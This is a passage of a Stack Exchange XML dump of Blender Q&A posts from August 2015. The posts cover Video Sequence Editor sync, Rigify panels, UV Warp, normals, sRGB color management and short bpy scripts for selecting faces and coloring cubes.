&lt;em&gt;Console&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.active_object.matrix_world.translation&#xA;bpy.context.active_object.matrix_world.to_euler()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you keyframe the starting position and the end position.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-14T07:00:06.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35694" PostTypeId="2" ParentId="32382" CreationDate="2015-08-14T07:12:47.877" Score="5" Body="&lt;p&gt;You can use the &lt;strong&gt;UV Warp&lt;/strong&gt; modifier to offset UVs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dmwvB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes 2 objects (or also bones) to define the transformation. You can easily:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rotate&lt;/li&gt;&#xA;&lt;li&gt;translate&lt;/li&gt;&#xA;&lt;li&gt;scale the UV&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and also set the center point of transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to also input vertex map to limit the influence of modifier.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-14T07:12:47.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35695" PostTypeId="1" CreationDate="2015-08-14T07:57:10.340" Score="0" ViewCount="78" Body="&lt;p&gt;I am currently trying to use the Blender Video Sequence Editor for editing a video with picture-in-picture sequences. I came up with the problem that the video displayed in the VSE looks totally different than the rendered resulting video: both videos in the picture-in-picture sequences are not synchronous anymore, one of them gets rendered way faster than the other, although in die VSE they are synchronous. Both videos have 29fps, which is what I used as render framerate as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please help me with this issue? I am really confused that what I see in the VSE obviously is not what the rendered result is going to look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I am unable to attach my project as it is confidential corporate training material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance!&#xA;Larissa&lt;/p&gt;&#xA;" OwnerUserId="16407" LastActivityDate="2015-08-14T07:57:10.340" Title="Video in the VSE differs from actual rendered result" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35696" PostTypeId="1" AcceptedAnswerId="35712" CreationDate="2015-08-14T08:03:13.000" Score="9" ViewCount="273" Body="&lt;p&gt;I have two adjacent viewports, one in Front Ortho, the other in Right Ortho, so I can edit the same model from the front and side.  Is there any way to lock/mirror/match the magnification between the two, so that if I zoom in/out in one, the other zooms in/out to the same degree also?&lt;/p&gt;&#xA;" OwnerUserId="16333" LastActivityDate="2015-08-14T12:49:46.523" Title="Mirror zoom magnification between adjacent windows?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35697" PostTypeId="2" ParentId="35692" CreationDate="2015-08-14T08:09:06.037" Score="1" Body="&lt;h2&gt;Check normals orientation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is possible that some faces has negative normals facing to the cam. You should be able to recognize them by their darker blueish color once the &quot;&lt;strong&gt;Backface Culling&lt;/strong&gt;&quot; option is disabled in the 3D view properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YNBAD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YNBAD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bsurface take in account the &lt;strong&gt;sequence&lt;/strong&gt; in which you draw each strokes to understand where the normals are pointing, according to the created face index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1q7Ju.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1q7Ju.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With backface culling enabled, Blender will not show the faces who are pointing not toward the camera. Edges remain though, leading to your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you to select Backfaces and run the &lt;strong&gt;Flip normals&lt;/strong&gt; commmand.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-14T08:37:38.890" LastActivityDate="2015-08-14T08:37:38.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35698" PostTypeId="1" CreationDate="2015-08-14T08:15:28.837" Score="5" ViewCount="7532" Body="&lt;p&gt;Rigify rig main properties and rig layers disappeared in N panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, the worse part, is cannot switch from IK and FK... how can I restore it and if I cannot, how can switch from IK and FK without the Rig Properties tab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16354" LastActivityDate="2018-08-03T09:34:27.333" Title="Rigify rig main properties and rig layers disappeared" Tags="&lt;rigify&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35699" PostTypeId="1" CreationDate="2015-08-14T08:24:12.667" Score="0" ViewCount="132" Body="&lt;p&gt;in addition to my &lt;a href=&quot;https://blender.stackexchange.com/questions/35695/video-in-the-vse-differs-from-actual-rendered-result&quot;&gt;other question&lt;/a&gt;, I have another problem with the Video Sequence Editor in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am editing a screen capture, where I need to identify that one frame in which a window disappears. I found the correct frame and cut the clip. Afterwards, I searched for that frame again. When I approach the frame in which the window disappears from the left, frame number 1044 is the very first frame, in which the window is gone. I would expect that if I go one single frame left, the window would appear again. But in fact, it doesn't. I have to go left until I reach frame 1040, which is then the very first frame, in which the window appears again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in summary, I am unable to find the right frame for separating the screen capture as it makes a difference whether I am approaching it from the left or right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you consider this a bug? And if not: Could anyone tell me how to get rid of this &quot;feature&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender v2.75 on a Win7 system.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I tried to follow 3pointedit's instructions and it seems to reveal a problem with the screen capture clip.  I started a complete new Blender-project and added the screen capture as a movie. Then, I did &quot;Rebuild Proxy and Timecode Indices&quot; with the settings attached. Unfortunately, Blender crashes immediately without any error message, it just exits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the same with one of the GoPro clips and it works perfectly (same settings). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So obviously, there is something wrong with the screen capture clip...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0mEyV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0mEyV.png&quot; alt=&quot;Rebuild Proxy and Timecode Indices Settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-17T14:47:55.010" Title="Unable to identify frame for cut in VSE - Bug?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35701" PostTypeId="2" ParentId="35698" CreationDate="2015-08-14T08:43:41.833" Score="7" Body="&lt;p&gt;Open a &lt;em&gt;Text Editor&lt;/em&gt; and see if there is &lt;code&gt;rig_ui.py&lt;/code&gt; file there.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If there is click &lt;kbd&gt;Run Script&lt;/kbd&gt; and check also Register. Your controls in N panel should reappear. Also make sure for future that you have &lt;em&gt;Auto Run Python Scripts&lt;/em&gt; enabled in &lt;em&gt;User Preferences&lt;/em&gt; under &lt;em&gt;File&lt;/em&gt; tab (so the registered scripts are run automatically when you open blend file).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you linked the rig into a new file, look in the original file if there is one. Both the rig and it's script need to be linked.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there is none script to find anywhere, you need to make a new one. Create another blend file, create some rigify rig there and copy the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is however a complication, each Rigify generated rig has a unique id, that matches with the script file, so the script we took will have some new random id and won't work with the original rig. Making these codes to match solves it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XqlSr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqlSr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2018-04-23T14:38:05.263" LastActivityDate="2018-04-23T14:38:05.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35702" PostTypeId="1" AcceptedAnswerId="35704" CreationDate="2015-08-14T08:46:07.997" Score="9" ViewCount="4736" Body="&lt;p&gt;I have recently installed the latest stable version of blender (2.75a) and used&#xA;the video editor to join audio with a video. The problem is, when I click Anim to render the video, it generates a video file but with no audio at all. As I have seen in many tutorials, all I need to do is to set the renderer's audio settings properly in scene's &amp;quot;encoding&amp;quot; tab... it should be found under the &amp;quot;output&amp;quot; tab, but it just does not exist! What I see is exactly this:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/33179/opensuse-blender-cannot-encode-or-export-video&quot;&gt;OpenSUSE - Blender cannot encode or export video&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have searched in many sites over the web and tried many &amp;quot;possible&amp;quot; solutions with no luck at all. I have checked the FPS settings, reinstalled and even installed previous versions of blender (2.6) and still nothing.&lt;/p&gt;&#xA;&lt;p&gt;I just want to get what I have made in my blender's project written in a video file, just that...&#xA;Thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="16408" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-09-15T15:26:10.647" Title="Missing &quot;encoding&quot; panel/tab" Tags="&lt;rendering&gt;&lt;export&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35704" PostTypeId="2" ParentId="35702" CreationDate="2015-08-14T10:01:36.410" Score="9" Body="&lt;p&gt;I don't think that AVI Raw has encoding options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it's an uncompressed format you'll not have much setting to work with, they are just plain frames. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of this format is to provide an input video that will be mixed and encoded with sync audio in a second phase, after for example some compositing, or color correction. It's the RAW data, it is expected to be used as a &quot;base&quot;, not to be the final result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;https://vimeo.com/93062012&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mixdown&lt;/a&gt; to extract audio from your file and than mix them with video in Blender or an external application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I wasn't able to find out &lt;strong&gt;any evidence&lt;/strong&gt; of the fact that Blender AVI Raw format, despite its name, is not able to contain audio (and I'm not even sure), so consider this as a personal opinion.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use another output format.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="7548" LastEditDate="2017-03-18T16:30:04.187" LastActivityDate="2017-03-18T16:30:04.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35706" PostTypeId="1" CreationDate="2015-08-14T10:31:40.147" Score="0" ViewCount="39" Body="&lt;p&gt;The sub-surf modifier is causing a weird indent around the end of my sleeve right next to where I have the sleeve thicken a little and I was wondering why it was causing that and what I can do to fix it?  &lt;a href=&quot;https://i.stack.imgur.com/fR1RX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fR1RX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16254" LastActivityDate="2015-08-14T10:31:40.147" Title="Why is my sub-surf modifier acting up?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-08-14T11:45:36.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="35708" PostTypeId="2" ParentId="35639" CreationDate="2015-08-14T10:37:43.047" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to generate ... multiples objects with a diferents names ... &#xA;  Is it possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create an object then you already know the object. You do not need to search for it. &lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-18T05:43:34.557" LastActivityDate="2015-08-18T05:43:34.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35710" PostTypeId="2" ParentId="35446" CreationDate="2015-08-14T11:44:04.183" Score="2" Body="&lt;p&gt;This is my computer's OpenGL issue, according to people at blender's bug support.&#xA;Downloading &lt;a href=&quot;http://download.blender.org/ftp/sergey/softwaregl/win64/opengl32.dll&quot; rel=&quot;nofollow&quot; title=&quot;this file&quot;&gt;this file&lt;/a&gt; and putting it at the same folder where blender.exe is will fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="16310" LastActivityDate="2015-08-14T11:44:04.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35711" PostTypeId="1" AcceptedAnswerId="35713" CreationDate="2015-08-14T11:48:48.553" Score="1" ViewCount="323" Body="&lt;p&gt;So here's my problem. No matter what texture I use or setting I change, my textures always zig-zag all over the object and it looks awful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed YouTube tutorials to see if I was missing something, but I don't appear to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm uploading a picture to show what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4O6M4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4O6M4.jpg&quot; alt=&quot;Zig-zag texture image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone can please advise me here as it's holding up my sponsorship logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="16411" LastEditorUserId="241" LastEditDate="2015-08-14T12:15:09.653" LastActivityDate="2015-08-14T13:11:35.157" Title="Texture files zig-zag across object, never looks like it should" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;image&gt;" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="35712" PostTypeId="2" ParentId="35696" CreationDate="2015-08-14T12:49:46.523" Score="6" Body="&lt;p&gt;You can use Quad View for that. &lt;br/&gt;&#xA;Set up those 3 views so each of them is different (top, side and front). Then turn on its &lt;em&gt;Lock&lt;/em&gt; and &lt;em&gt;Box&lt;/em&gt; features :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FL5FA.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FL5FA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can zoom and grab those views simultaneously:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bUmvC.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bUmvC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-14T12:49:46.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35713" PostTypeId="2" ParentId="35711" CreationDate="2015-08-14T13:11:35.157" Score="0" Body="&lt;p&gt;Convert your curves into a mesh in object mode &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, but I would make a copy of curved mesh just in case. Then I would go to the topview in edit mode and &lt;kbd&gt;U&lt;/kbd&gt; --&gt; project from view. Then you can add your texture to the mesh&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-14T13:11:35.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35714" PostTypeId="1" CreationDate="2015-08-14T13:13:35.677" Score="1" ViewCount="53" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/meuRr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/meuRr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the project for likeness sclupt and i dont want the rig to look weird  .&lt;/p&gt;&#xA;" OwnerUserId="16406" LastActivityDate="2015-08-14T13:23:24.877" Title="Do you think the edge loop is ok? especially around the ears. Will it deform well after animation?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35715" PostTypeId="1" AcceptedAnswerId="35717" CreationDate="2015-08-14T13:14:44.563" Score="4" ViewCount="3312" Body="&lt;p&gt;For some reason, when I render out the image, it is plain white. I've checked the sky settings, and I tried applying textures, but nothing seems to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/gtEjPLK.png&quot; alt=&quot;http://prntscr.com/84jkmk&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/QMyImhe.png&quot; alt=&quot;http://prntscr.com/84jku2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16413" LastEditorUserId="8262" LastEditDate="2017-09-17T18:20:24.220" LastActivityDate="2017-09-17T18:20:24.220" Title="Render turns out plain white" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35716" PostTypeId="2" ParentId="35714" CreationDate="2015-08-14T13:23:24.877" Score="1" Body="&lt;p&gt;Nope, the area around the ear is not right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meshflow should follow the &lt;a href=&quot;https://en.wikipedia.org/wiki/Sternocleidomastoid_muscle&quot; rel=&quot;nofollow&quot;&gt;Sternocleidomastoid muscle&lt;/a&gt; and not return back to the eye corner.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-14T13:23:24.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35717" PostTypeId="2" ParentId="35715" CreationDate="2015-08-14T13:33:15.073" Score="10" Body="&lt;p&gt;In the 'Image Editor' window, where the white render appears, you have selected to view the alpha channel of the image. Because the image has no transparency is displays as solid white. You need to switch back to 'Color' mode to view the colours of the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FE9mC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FE9mC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-08-14T13:33:15.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35718" PostTypeId="1" AcceptedAnswerId="35721" CreationDate="2015-08-14T13:59:16.813" Score="1" ViewCount="822" Body="&lt;p&gt;I have the latest version of blender and i downloaded a script called mesh_face_info_select.py which lets me select all tris quads or ngons of the mesh but i get an error when i use the script where the operator bpy.ops.mesh.select_by_number_vertices is not found. I assume that it was removed from blender? I have searched in google but didn't find anything.&lt;/p&gt;&#xA;" OwnerUserId="16334" LastEditorUserId="16334" LastEditDate="2015-08-14T14:09:19.990" LastActivityDate="2015-08-14T15:07:41.620" Title="How can i select by number of vertices?" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35719" PostTypeId="1" CreationDate="2015-08-14T14:03:02.417" Score="2" ViewCount="1257" Body="&lt;p&gt;So I have these&lt;a href=&quot;https://i.stack.imgur.com/i5rbg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i5rbg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vL5Zs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vL5Zs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to combine them all. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="16414" LastActivityDate="2015-08-14T14:15:22.830" Title="Can i apply normal map &amp; bump map &amp; a texture on the same object" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-14T15:00:04.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="35720" PostTypeId="2" ParentId="35719" CreationDate="2015-08-14T14:15:22.830" Score="0" Body="&lt;p&gt;This seems to work, but i want to know if there is a better way to do it&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iBNpm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iBNpm.jpg&quot; alt=&quot;This seems to work, but i want to know if there is a better way to do it&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16414" LastActivityDate="2015-08-14T14:15:22.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35721" PostTypeId="2" ParentId="35718" CreationDate="2015-08-14T14:20:31.290" Score="3" Body="&lt;p&gt;Sounds like the script you downloaded has a bug or is used differently.&#xA;You can try contacting the author and describe the error, s/he might fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you can paste this to your text editor, change the value of vertCount and press &quot;Run script&quot;, it will select all the faces with the number of verts specified in the vertCount variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;vertCount = 3 # &amp;lt;-- Faces with this amount of verts will be selected&#xA;&#xA;bpy.ops.object.mode_set( mode = 'EDIT' )&#xA;bm = bmesh.from_edit_mesh( bpy.context.object.data )&#xA;&#xA;bpy.ops.mesh.select_mode( type = 'FACE' )&#xA;bpy.ops.mesh.select_all( action = 'DESELECT' )&#xA;&#xA;for f in bm.faces: &#xA;    if len( f.verts ) == vertCount: &#xA;        f.select = True&#xA;&#xA;bm.select_flush(True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-08-14T14:36:02.867" LastActivityDate="2015-08-14T14:36:02.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35722" PostTypeId="1" AcceptedAnswerId="35854" CreationDate="2015-08-14T15:02:19.837" Score="13" ViewCount="3288" Body="&lt;p&gt;I discovered that in my Scene Color Management, Display Device has always been set to sRGB. When I turn it off, the color of a given RGB now seems to match what I see in say Matplotlib. No matter how many times I try to read about color spaces, I always feel like I've walked into a movie 45 minutes late. So I'm not going to even try to sound knowledgeable here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I'm looking at Blender with a computer screen which presumably already has a limited color space (compared to human vision) why would I want to push a button that at least appears to limit it even further? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to generate non-photo-realistic images (fixed an moving) to post on the internet. I like the colors I see when sRGB is turned off, but should I be using it anyway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I was doing when I finally realized the colors were looking washed out with sRGB turned on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;rr = [0.000, 0.000, 0.325, 0.663, 0.780, 0.925, 0.941, 0.961, 0.988, 1.000, 0.561, 0.000]&#xA;gg = [0.451, 0.255, 0.267, 0.318, 0.278, 0.196, 0.380, 0.525, 0.725, 0.945, 0.780, 0.659]&#xA;bb = [0.431, 0.545, 0.537, 0.545, 0.376, 0.216, 0.208, 0.204, 0.176, 0.071, 0.290, 0.353]&#xA;&#xA;xx = np.linspace(-5, 6, 12)&#xA;for i in range(12):&#xA;    ok = bpy.ops.mesh.primitive_cube_add(location=(xx[i],0,2),radius=0.4)&#xA;    ao = bpy.context.active_object&#xA;    mat = bpy.data.materials.new('mat')&#xA;    mat.diffuse_color = rr[i], gg[i], bb[i] &#xA;    ao.active_material = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sRGB:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qz2Df.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qz2Df.png&quot; alt=&quot;sRGB&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;None:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/y6Fov.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y6Fov.png&quot; alt=&quot;None&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/66XST.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/66XST.png&quot; alt=&quot;sRGB Display set in Scene&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plot comes from comparing the RGB of the screen shot with sRGB turned ON, compared to the python RGB values in the script. The slope of about 0.45 makes sense - the sRGB is roughly like a gamma of 2.2 applied on a per-color basis according to &lt;a href=&quot;https://en.wikipedia.org/wiki/SRGB&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt;. 1/0.45 ~ 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lEavA.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lEavA.png&quot; alt=&quot;effect of sRGB on appearance of color&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-08-17T07:32:16.473" LastActivityDate="2019-09-02T01:12:10.520" Title="When to use sRGB and when not to?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35723" PostTypeId="2" ParentId="35718" CreationDate="2015-08-14T15:07:41.620" Score="0" Body="&lt;p&gt;Also you can use while in edit mode: &lt;em&gt;select &gt; select faces by sides&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16334" LastActivityDate="2015-08-14T15:07:41.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35724" PostTypeId="1" CreationDate="2015-08-14T15:09:52.187" Score="1" ViewCount="27" Body="&lt;p&gt;This has eluded and frustrated me for too long. &#xA;&lt;p&gt;&#xA;After adding objects like a Sapling or a gear you get a panel inside the tools menu-bar with options to control the object that you just added.&lt;p&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VsRYn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VsRYn.jpg&quot; alt=&quot;Sapling image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you select another object, make changes in the same object(rotate, scale, etc.) or click anywhere in the viewport, the panel disappears. I've never been able to find it once it's gone. I've been trying to follow this tutorial and this happened multiple times and each time I have to start over. So,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where is the panel and how do you get it panel back?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13730" LastEditorUserId="241" LastEditDate="2015-08-14T15:18:07.173" LastActivityDate="2015-08-14T15:18:07.173" Title="How do you bring back the object properties console?" Tags="&lt;interface&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-14T17:38:54.460" ContentLicense="CC BY-SA 3.0" />
